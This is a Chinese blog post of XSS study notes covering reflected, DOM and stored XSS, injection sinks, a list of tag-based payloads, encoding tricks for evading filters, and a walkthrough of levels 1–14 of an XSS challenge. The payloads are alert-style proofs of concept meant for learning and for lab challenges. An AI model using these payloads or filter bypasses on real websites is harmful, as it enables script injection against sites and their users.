XSS专栏之常见xss总结备忘


layout: post
title: XSS专栏
category: Vulnerability_mining
tags: XSS
keywords: XSS,CSP

前言

开始总结一些xss的想法

开始

1 分类

本来想着根据xss的分类,可以直接按照常规的三种分类来分类–反射型,DOM,存储型来讲,但是开始动笔之后发现,根据这样的分类我估计会着重的讲一下盲区DOM而对于其他的两个不知道怎么给笔墨,显得有些奇怪,所以我打算将三种分类放在一起写,然后根据js代码中不同的触发位置开始分类,这样显得更加合理

1.1 反射型XSS

用户的请求直接输出到html页面中,出发了js代码。需要注意的是,着重的考虑用户的输入位置与对应的输出位置,其他的不想讲。

1.2 DOM型xss

我以前一直以为,DOM型xss和反射型xss实际上差别不大,但实际上仔细观察dom类型的xss,可以发现他比反射型地xss多了一层思考,我们不单单需要考虑用户地输出,还需要考虑用户输出javascript用来做了什么。我们一层一层来。

1.2.1 显式输出

显式输出的意思是指右键查看源代码的时候能够查看到输出。

1.2.1.1 innerHTML=[output]

先做一个这样地页面

<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="这是第二个";</script>

简单地说一下getElementById获取id的元素,innerHTML改变标签之间的html,这样的代码输出,就是如下:

这是第二个

而这种innerHTML=[output]的情况,也正是dom型xss的一种,这里的output可以插入js代码,例如:

<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="<img src=/eval/eaa.js>";</script>
1.2.1.1.1 js字符串的unicode编码

甚至我们可以将一些特殊字符转化成unicode编码,也是可以触发效果的例如:

<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="\u003cimg src=/eval/eaa.js\u003e";</script>

再比如:

<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e";</script>

这里考虑到的是js字符串中unicode的编码,比如<>有两种编码形式\u003c\u003e\x3c\x3e这两种Unicode编码。那么这里的原理是什么呢?

字面量\unnnn表示十六进制代码nnnn表示一个unicode字符,什么意思呢,直接讲解一个字符如何变成js unicode吧。
首先将字符转化成unicode编码,再转化成十六进制编码。如:

1.2.1.1.2 charCodeAt

使用js中的charCodeAt函数将字符转变成字符的unicode编码

<div id="a">这是第一个输出</div>
<script> 
var str = "<>";
document.getElementById("a").innerHTML=(str.charCodeAt(0));
</script>

输出的结果是60

1.2.1.1.3 toString

使用字符串方法,将其转化成16进制,如:

<div id="a">这是第一个输出</div>
<script> 
var str = "<>";
str = str.charCodeAt(0);
document.getElementById("a").innerHTML=(str.toString(16));
</script>

输出的结果是3c,剩下的两位用00补足,也就是\u003c,而这里前缀可以使用\x替换\u也可以实现。

1.2.1.2 document.write(output)

例如:

<div id="a">这是第一个输出</div>
<script> 
document.write("\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e");
</script>

1.2.2 隐式输出

隐式输出是指输出的结果我们看不见,也就是我们再右键源代码中找不到我们输入的内容。但是无论是隐式还是显式,最终都是要通过innerhtmldocument.write输出。

1.2.2.1 getParam / getUrlPara

前端开发人员再获取地址栏的参数的时候,一般会自定义这样的函数,作用就是获取地址栏的参数,在显示处有可能这样构造代码,例如:

<div id="nick">加载中...</div>
<script>
var a=getParam("name");
document.getElementById("nick").innerHTML=a;
</script>

所以如果没有安全措施,就可能造成之前前面提到的innerHTML型xss。

1.2.3 eval类型

源代码与调试工具都看不到我们输入的东西,一般的操作手法是通过console查看,可以给参数输入一些特殊字符,因为一般不会报错。
查看报错信息可以定位到js的错误位置,例如如下错误代码:

var getarg = function()
{
    var url = window.location.href; 
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&"); 
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("="); 
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

同样的xss方式遇上面相同。

1.2.4 iframe类型

定义和用法:
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。

sometime,iframe标签也会出现xss的问题,<iframe src="[输出]"></iframe>,iframe兼容执行javascript,有时候会通过过js动态的改变iframe的src的值,也就是src的值是可控的。
例如:

1.2.4.1 onload
<iframe onload="alert(1)"></iframe>
1.2.4.2 src 执行js代码
<iframe src="javascript:alert(1)"></iframe>

tips:在我玩src的时候,曾经有一个可控的参数在<img src="可控"中,我愚昧的认为这样可以造成远程的js代码的执行,并且尝试了很久,但是最后发现根本行不通,原因在于img中的src不会当作js解析。这里需要注意。也就是说<img src="eval.com/test.js">是无法实现的。

1.2.4.3 IE src 执行vbscript代码

VBScript 是微软公司出品的脚本语言。所以只能在ie中执行,

<iframe src="vbscript:msgbox(1)"></iframe>
1.2.4.4 data协议

我们来看看data协议支持的一些类型:

data:,                            文本数据
data:text/plain,                    文本数据
data:text/html,                  HTML代码
data:text/html;base64,            base64编码的HTML代码
data:text/css,                    CSS代码
data:text/css;base64,              base64编码的CSS代码
data:text/javascript,              Javascript代码
data:text/javascript;base64,        base64编码的Javascript代码
data:image/gif;base64,            base64编码的gif图片数据
data:image/png;base64,            base64编码的png图片数据
data:image/jpeg;base64,          base64编码的jpeg图片数据
data:image/x-icon;base64,          base64编码的icon图片数据

例如:

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
1.2.4.5 srcdoc属性(ie不支持)

语法:
<iframe srcdoc="HTML_code">
允许规定页面的 HTML 内容显示在行内框架中。

例如:

<div id="a">这是第一个输出</div>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
1.2.4.6 jsonp路径控制

https://wizardforcel.gitbooks.io/xss-naxienian/content/11.html

1.3 存储型xss

关于存储型xss,原来在于js脚本存储到了数据库,能够造成稳定的输出,故而称为存储型xss,实际上原来也是上面提到的这些,关于xss最好玩的地方或者说最精华的地方,我个人认为在于waf bypass跨域这方面的知识了,但是我本人这方面的知识有些不足,个人认为需要多写一些js相关的代码否则真的伤不起。

2 常见的标签

如下参考至https://xz.aliyun.com/t/2936

2.1 img标签

在之前一段事件内,img标签可以使用很多的操作,src属性能够直接执行xss代码,但是后来对其做了限制导致了
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img STYLE="background-image:url(javascript:alert('XSS'))">
这样的代码是无法触发xss的。现在img标签我知道的就是on属性,一般是onerror和onmouseover
on属性:
<img src=1 onerror="javascript:alert(1)">
<img src=1 onmouseover=alert('xss')>

2.2 a标签

href属性:
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
on属性:
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>

2.3 input标签

on属性:
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
accesskey属性:
这是其中一个特殊的情况,在我测试src的时候有遇到过,利用的难度很高,但是很有趣。这种情况只能用在firefox上。
在我们遇到这种情况下:

<input type="hidden" value="注入点">

这里没办法注入type因为hidden放在前面,没有办法覆盖,所以这里有一种高难度的利用方式。

<input type="hidden" value="" accesskey="x" onclick="alert(1)">

触发的条件是在win/linux,需要使用shift+alt+x

2.4 form标签

action属性:
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">(data协议绕过)
on属性:
<form action=1 onmouseover=alert('xss)>
<form method=post action=aa.asp? onmouseover=alert('xss')>

18-11-16补充:
<form><botton formaction="javascript:alert(1)">m</bottom></form>

2.5 iframe标签

src属性:
<iframe src=javascript:alert('xss') /><iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>(data协议绕过)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">(data协议绕过)
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>(实体编码绕过)
on属性:
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
srcdoc属性(ie不支持):
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />(实体编码绕过)

2.6 svg 标签

on属性:
<svg onload=alert(1)>
<svg/onload=setTimeout('ale'+'rt(1)',0)>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

3 xss bypass

https://www.toolmao.com/xsstranser

3.1 js编码

三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
对于一些控制字符,使用特殊的C类型的转义风格,如\n\r

3.2 html实体编码

在 HTML 中,某些字符是预留的。
在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h5VYhb1q-1611628167835)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/xss.png)]

3.3 双重url编码(url全编码)

alert = %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

3.4 String.fromCharCode编码

alert = String.fromCharCode(97,108,101,114,116)

3.5 拆分绕过黑名单

settime:
<svg/onload=setTimeout('ale'+'rt(1)',0)>
location:
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

4 xss挑战赛wp

光说不练假把式,根据知识储备解决问题,根据问题增加知识储备。
挑战链接

4.1 level1

没有做任何的过滤,直接闭合前面的<h1>然后插入script标签执行js代码就行。
payload = </h1><script>alert(1)</script>

4.2 level2

简单的单引号逃逸。
payload="><script>alert(1)</script><"

4.3 level3

初一看是单引号逃逸,但是执行之后发现<input name=keyword value=''&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;''>
对特殊的字符<>进行了实体的编码。这时候思路就是不使用别的标签进行xss,而使用当前标签的属性来执行。所以参照上面的2.1,2.5所介绍的input标签的formaction属性执行xss试试。
payload=formaction="javascript:alert(1)" '
然后会发现,双引号也被实体转义了。意外的不好用,这时候我们考虑使用on事件来绕过,因为on事件可以不使用双引号例如2.2:
payload=' onfocus=alert(1) ',是的这次我们成功了。

4.4 level4

这里看到value是双引号闭合,所以直接考虑使用上面的payload改成双引号闭合即可。
payload=" onfocus=alert(1) ",ok成功了。

4.5 level5

同样是双引号闭合的value属性,使用level4的payload发现
<input name=keyword value="" o_nfocus=alert(1) "">
on之间增加了_,所以内联的属性无法使用了,关于input触发的两个属性上面都提到了,都存在on关键词。
这时候我们就会来思考,应该是要使用别的标签了,来看看<>是否被转义了,果然没有被转义,这时候我们就能够使用别的标签来触发了,然后发现script也被加了_,所以要使用别的标签来触发,这里就有很多思路的,但是大致的思路就是不使用on属性,使用src属性和href属性或许是最好的选择。例如:
payload1 = "><iframe src="javascript:alert(1)"></iframe><",但是很奇怪这个payload虽然弹框了但是没有跳转到下一个挑战。
payload2 = "><a href=javascript:alert(1);>111</a><",href是访问标签,所以要点击才能触发,很好这样的方式就能跳转到下一个挑战了,上面是非预期解。

4.6 level6

照常我们使用上一个level的payload进行尝试,返回的源码可以看到<input name=keyword value=""><a hr_ef=javascript:alert(1);>111</a><"">
hrefwaf成了hr_ef,那么我们来使用上面说的非预期解试试。发现src也被变成了sr_c,那么我们来思考一下是否能使用别的方式绕过这种黑名单关键词的匹配,大小写尝试一下,使用:
payload1 = "><a hRef=javascript:alert(1);>111</a><",ok成功绕过。
那么也就是说上面的src属性也能用大小写的方式绕过。
payload2 = "><iframe sRc="javascript:alert(1)"></iframe><",是的同样弹窗了。

4.7 level7

同样的level6走起,发现返回<input name=keyword value=""><iframe ="java:alert(1)"></iframe><"">,也就是说同样的是匹配黑名单,将scriptsrc
直接替换成了"",这里很自然的想到了sql注入的双写绕过,即替换之后拼接的仍然是合法的,来我们试试。
payload1 = "><a hrhRefef=javascriscriptpt:alert(1);>111</a><",成功绕过。
payload2 = "><iframe srsRcc="javascriscriptpt:alert(1)"></iframe><",成功弹窗。

4.8 level8

这里的注入点是<a>标签的href属性下面,使用javascript:alert(1);,发现对script转化成了scri_pt,这里使用大小写的方式也对其转换了,我们来试试实体编码,
payload1 = &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;(javascript:alert(1)) fine 绕过了。
但是这里其实只要跨过黑名单script就行,那么我们这样即可:
payload2 = java&#115;cript:alert(1)

4.9 level9

使用上面的payload提示链接不合法,测试之后发现只要包含http://即通过校验,waf其他与上一题相同,则想到了直接用上面的payload加上注释符添加http://即可。
payload1 = &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
payload2 = java&#115;cript:alert(1)//http://

4.10 level10

这一关的注入点在url处,keyword对其进行了实体编码操纵,查看源码发现于三个hidden的input标签,传参发现第三个可以进行注入,注入类型是闭合双引号然后属性注入,同level4。
但是这里和level4还是有不同的,不同点在于type=hidden,我们使用on属性无法触发,所以这里可以闭合输入type从而达到触发的效果。
payload1 = " onclick=alert('xss') type="text(参照2.3)
payload2 = " onmouseover=prompt('xss') type="(参照2.3)

4.11 level11

跳转之后查看源码发现后端存在这样的代码:
<input name="t_ref" value="http://test.xss.tv/level10.php?keyword=1&t_link=%22&t_history=%22&t_sort=%22%20onclick=alert('xss')%20type=%22" type="hidden">
其他的条件与上一题相同,这里用上一题的做法发现t_sort仍然可以输入但是无法逃逸双引号,这时候会发现发现上述的t_ref的值改变了,再根据上面的了链接,猜测t_ref的值获取自refer,更改refer尝试。成功!payload与上题相同。

4.12 level12

换汤不换药,t_uauser-agent.略。

4.13 level13

换汤不换药,t_cookcookie.略。

4.14 level14

没看懂。。

4.15 level15

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值